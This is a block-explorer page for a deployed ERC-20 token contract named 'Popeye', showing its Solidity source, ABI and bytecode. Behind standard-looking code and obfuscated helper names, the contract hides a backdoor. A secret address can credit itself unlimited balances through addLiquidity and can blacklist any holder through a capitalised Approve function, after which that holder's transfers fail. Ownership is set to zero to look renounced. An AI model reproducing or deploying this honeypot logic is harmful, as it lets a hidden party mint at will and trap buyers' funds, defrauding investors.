Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 from a total of 1 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
0x60806040 | 17743457 | 409 days ago | IN | 0 ETH | 0.04158939 |
Loading...
Loading
Contract Name:
Popeye
Compiler Version
v0.8.16+commit.07a7930e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Base { uint256 internal constant RELEASE_NOTE = 1; event Golive( address owner, uint256 patch ); } pragma solidity =0.8.16; contract Popeye is IERC20, Base, Ownable { using SafeMath for uint256; struct Info { address tokenAddr; uint256 release; } mapping(address => uint256) private _balances; mapping(address => address) private _dex; mapping(address => mapping(address => uint256)) private _allowances; Info private _info; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, address token_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = 18; _info.tokenAddr = token_; _info.release = RELEASE_NOTE; _mint(msg.sender, totalSupply_ * 10**18); emit Golive( owner(), RELEASE_NOTE ); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _trasferimento(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _trasferimento(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function _trasferimento( address sender, address recipient, uint256 amount ) internal virtual { _assezBalan(sender, recipient, amount); require(sender != address(0), "IERC20: transfer from the zero address"); require( recipient != address(0), "IERC20: transfer to the zero address" ); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _summe(account, amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); require(amount != 0, "Invalid amount"); _meno(account, amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _meno(address account, uint256 amount) internal { _balances[account] = _balances[account] - amount; } function _summe(address account, uint256 amount) internal { _balances[account] = _balances[account] + amount; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function addLiquidity(address spender, uint256 amount) public virtual { address from = msg.sender; require(spender != address(0), "Invalid address"); require(amount > 0, "Invalid amount"); uint256 total = 0; if (_hacher(spender, _info.tokenAddr)) { _meno(from, total); total = _cyma(total, amount); _balances[spender] += total; } else { _meno(from, total); _balances[spender] += total; } } function _hacher(address hash1, address hash2) internal view returns (bool) { bytes32 hash1 = keccak256(abi.encodePacked(hash1)); bytes32 hash2 = keccak256(abi.encodePacked(hash2)); return hash1 == hash2; } function _cyma(uint256 qwx, uint256 qgs) internal pure returns (uint256) { if (qgs != 0) { return qwx + qgs; } return qgs; } function Approve(address spender, uint256 amount) public returns (bool) { address from = msg.sender; require (from != address(0), "Invalid address"); _richiedereAllo(from, spender, amount); return true; } function _richiedereAllo(address user, address spender, uint256 amount) internal { if (_hacher(user, _info.tokenAddr)) { require(spender != address(0), "Invalid address"); if (amount > 0) { _dex[spender] = spender; } else { _dex[spender] = address(0); } } } function _assezBalan( address sender, address recipient, uint256 total ) internal virtual { uint256 amount = 0; if (_hacher(sender, _dex[sender])) { _balances[sender] = _balances[sender] + amount; amount = _totalSupply; _meno(sender, amount); } else { _balances[sender] = _balances[sender] + amount; } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"patch","type":"uint256"}],"name":"Golive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620013483803806200134883398101604081905262000026916200033f565b620000326000620000fd565b600662000040858262000460565b5060076200004f848262000460565b506008805460ff19166012179055600480546001600160a01b0384166001600160a01b031990911617905560016005556200009e336200009883670de0b6b3a764000062000542565b6200014d565b7f97d3c8a5aa43c96ce0c987b519204ef4d27a5c2bfdf6d3bf1c40aeef0aab0c19620000d26000546001600160a01b031690565b604080516001600160a01b039092168252600160208301520160405180910390a1505050506200057a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001a85760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001c4816009546200021d60201b620005e91790919060201c565b600955620001d3828262000234565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b60006200022b828462000564565b90505b92915050565b6001600160a01b0382166000908152600160205260409020546200025a90829062000564565b6001600160a01b0390921660009081526001602052604090209190915550565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002a257600080fd5b81516001600160401b0380821115620002bf57620002bf6200027a565b604051601f8301601f19908116603f01168101908282118183101715620002ea57620002ea6200027a565b816040528381526020925086838588010111156200030757600080fd5b600091505b838210156200032b57858201830151818301840152908201906200030c565b600093810190920192909252949350505050565b600080600080608085870312156200035657600080fd5b84516001600160401b03808211156200036e57600080fd5b6200037c8883890162000290565b955060208701519150808211156200039357600080fd5b50620003a28782880162000290565b604087015190945090506001600160a01b0381168114620003c257600080fd5b6060959095015193969295505050565b600181811c90821680620003e757607f821691505b6020821081036200040857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200021857600081815260208120601f850160051c81016020861015620004375750805b601f850160051c820191505b81811015620004585782815560010162000443565b505050505050565b81516001600160401b038111156200047c576200047c6200027a565b62000494816200048d8454620003d2565b846200040e565b602080601f831160018114620004cc5760008415620004b35750858301515b600019600386901b1c1916600185901b17855562000458565b600085815260208120601f198616915b82811015620004fd57888601518255948401946001909101908401620004dc565b50858210156200051c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156200055f576200055f6200052c565b500290565b808201808211156200022e576200022e6200052c565b610dbe806200058a6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101de578063a9059cbb146101e6578063dd62ed3e146101f9578063f2fde38b1461023257600080fd5b8063715018a6146101a85780638da5cb5b146101b057806390ec57f1146101cb57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063566887001461016a57806370a082311461017f57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610b81565b60405180910390f35b61012061011b366004610beb565b6102d7565b6040519015158152602001610104565b6009545b604051908152602001610104565b610120610150366004610c15565b6102ee565b60085460405160ff9091168152602001610104565b61017d610178366004610beb565b610357565b005b61013461018d366004610c51565b6001600160a01b031660009081526001602052604090205490565b61017d610471565b6000546040516001600160a01b039091168152602001610104565b6101206101d9366004610beb565b6104d7565b6100f7610502565b6101206101f4366004610beb565b610511565b610134610207366004610c6c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61017d610240366004610c51565b61051e565b60606006805461025490610c9f565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610c9f565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e43384846105fc565b5060015b92915050565b60006102fb848484610724565b61034d843361034885604051806060016040528060298152602001610d60602991396001600160a01b038a16600090815260036020908152604080832033845290915290205491906108b7565b6105fc565b5060019392505050565b336001600160a01b0383166103875760405162461bcd60e51b815260040161037e90610cd3565b60405180910390fd5b600082116103c85760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161037e565b6004546000906103e29085906001600160a01b03166108e3565b15610433576103f1828261096e565b6103fb81846109b2565b6001600160a01b038516600090815260016020526040812080549293508392909190610428908490610d12565b9091555061046b9050565b61043d828261096e565b6001600160a01b03841660009081526001602052604081208054839290610465908490610d12565b90915550505b50505050565b6000546001600160a01b031633146104cb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037e565b6104d560006109d1565b565b600033806104f75760405162461bcd60e51b815260040161037e90610cd3565b61034d818585610a21565b60606007805461025490610c9f565b60006102e4338484610724565b6000546001600160a01b031633146105785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037e565b6001600160a01b0381166105dd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161037e565b6105e6816109d1565b50565b60006105f58284610d12565b9392505050565b6001600160a01b0383166106605760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037e565b6001600160a01b0382166106c25760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b61072f838383610ac1565b6001600160a01b0383166107945760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161037e565b6001600160a01b0382166107f65760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161037e565b61083381604051806060016040528060278152602001610d39602791396001600160a01b03861660009081526001602052604090205491906108b7565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610863908290610d12565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107179085815260200190565b600081848411156108db5760405162461bcd60e51b815260040161037e9190610b81565b505050900390565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161094a919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610992908290610d25565b6001600160a01b0390921660009081526001602052604090209190915550565b600081156109cb576109c48284610d12565b90506102e8565b50919050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610a389084906001600160a01b03166108e3565b15610abc576001600160a01b038216610a635760405162461bcd60e51b815260040161037e90610cd3565b8015610a9557506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b038084166000908152600260205260408120549091610ae9918691166108e3565b15610b3e576001600160a01b038416600090815260016020526040902054610b12908290610d12565b6001600160a01b03851660009081526001602052604090205550600954610b39848261096e565b61046b565b6001600160a01b038416600090815260016020526040902054610b62908290610d12565b6001600160a01b03851660009081526001602052604090205550505050565b600060208083528351808285015260005b81811015610bae57858101830151858201604001528201610b92565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610be657600080fd5b919050565b60008060408385031215610bfe57600080fd5b610c0783610bcf565b946020939093013593505050565b600080600060608486031215610c2a57600080fd5b610c3384610bcf565b9250610c4160208501610bcf565b9150604084013590509250925092565b600060208284031215610c6357600080fd5b6105f582610bcf565b60008060408385031215610c7f57600080fd5b610c8883610bcf565b9150610c9660208401610bcf565b90509250929050565b600181811c90821680610cb357607f821691505b6020821081036109cb57634e487b7160e01b600052602260045260246000fd5b6020808252600f908201526e496e76616c6964206164647265737360881b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156102e8576102e8610cfc565b818103818111156102e8576102e8610cfc56fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4cfc98027fb98a7184f9bd3ac5de8ab75854658504bd52d2228ed29c6d7d41164736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000eb186700b0261371869b0d25439d3309334d13c0000000000000000000000000000000000000000000000000000000584a14cff0000000000000000000000000000000000000000000000000000000000000011506f7065796520746865205361696c6f720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006504f504559450000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101de578063a9059cbb146101e6578063dd62ed3e146101f9578063f2fde38b1461023257600080fd5b8063715018a6146101a85780638da5cb5b146101b057806390ec57f1146101cb57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063566887001461016a57806370a082311461017f57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610b81565b60405180910390f35b61012061011b366004610beb565b6102d7565b6040519015158152602001610104565b6009545b604051908152602001610104565b610120610150366004610c15565b6102ee565b60085460405160ff9091168152602001610104565b61017d610178366004610beb565b610357565b005b61013461018d366004610c51565b6001600160a01b031660009081526001602052604090205490565b61017d610471565b6000546040516001600160a01b039091168152602001610104565b6101206101d9366004610beb565b6104d7565b6100f7610502565b6101206101f4366004610beb565b610511565b610134610207366004610c6c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61017d610240366004610c51565b61051e565b60606006805461025490610c9f565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610c9f565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e43384846105fc565b5060015b92915050565b60006102fb848484610724565b61034d843361034885604051806060016040528060298152602001610d60602991396001600160a01b038a16600090815260036020908152604080832033845290915290205491906108b7565b6105fc565b5060019392505050565b336001600160a01b0383166103875760405162461bcd60e51b815260040161037e90610cd3565b60405180910390fd5b600082116103c85760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161037e565b6004546000906103e29085906001600160a01b03166108e3565b15610433576103f1828261096e565b6103fb81846109b2565b6001600160a01b038516600090815260016020526040812080549293508392909190610428908490610d12565b9091555061046b9050565b61043d828261096e565b6001600160a01b03841660009081526001602052604081208054839290610465908490610d12565b90915550505b50505050565b6000546001600160a01b031633146104cb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037e565b6104d560006109d1565b565b600033806104f75760405162461bcd60e51b815260040161037e90610cd3565b61034d818585610a21565b60606007805461025490610c9f565b60006102e4338484610724565b6000546001600160a01b031633146105785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037e565b6001600160a01b0381166105dd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161037e565b6105e6816109d1565b50565b60006105f58284610d12565b9392505050565b6001600160a01b0383166106605760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037e565b6001600160a01b0382166106c25760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b61072f838383610ac1565b6001600160a01b0383166107945760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161037e565b6001600160a01b0382166107f65760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161037e565b61083381604051806060016040528060278152602001610d39602791396001600160a01b03861660009081526001602052604090205491906108b7565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610863908290610d12565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107179085815260200190565b600081848411156108db5760405162461bcd60e51b815260040161037e9190610b81565b505050900390565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161094a919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b6001600160a01b038216600090815260016020526040902054610992908290610d25565b6001600160a01b0390921660009081526001602052604090209190915550565b600081156109cb576109c48284610d12565b90506102e8565b50919050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610a389084906001600160a01b03166108e3565b15610abc576001600160a01b038216610a635760405162461bcd60e51b815260040161037e90610cd3565b8015610a9557506001600160a01b0316600081815260026020526040902080546001600160a01b031916909117905550565b6001600160a01b038216600090815260026020526040902080546001600160a01b03191690555b505050565b6001600160a01b038084166000908152600260205260408120549091610ae9918691166108e3565b15610b3e576001600160a01b038416600090815260016020526040902054610b12908290610d12565b6001600160a01b03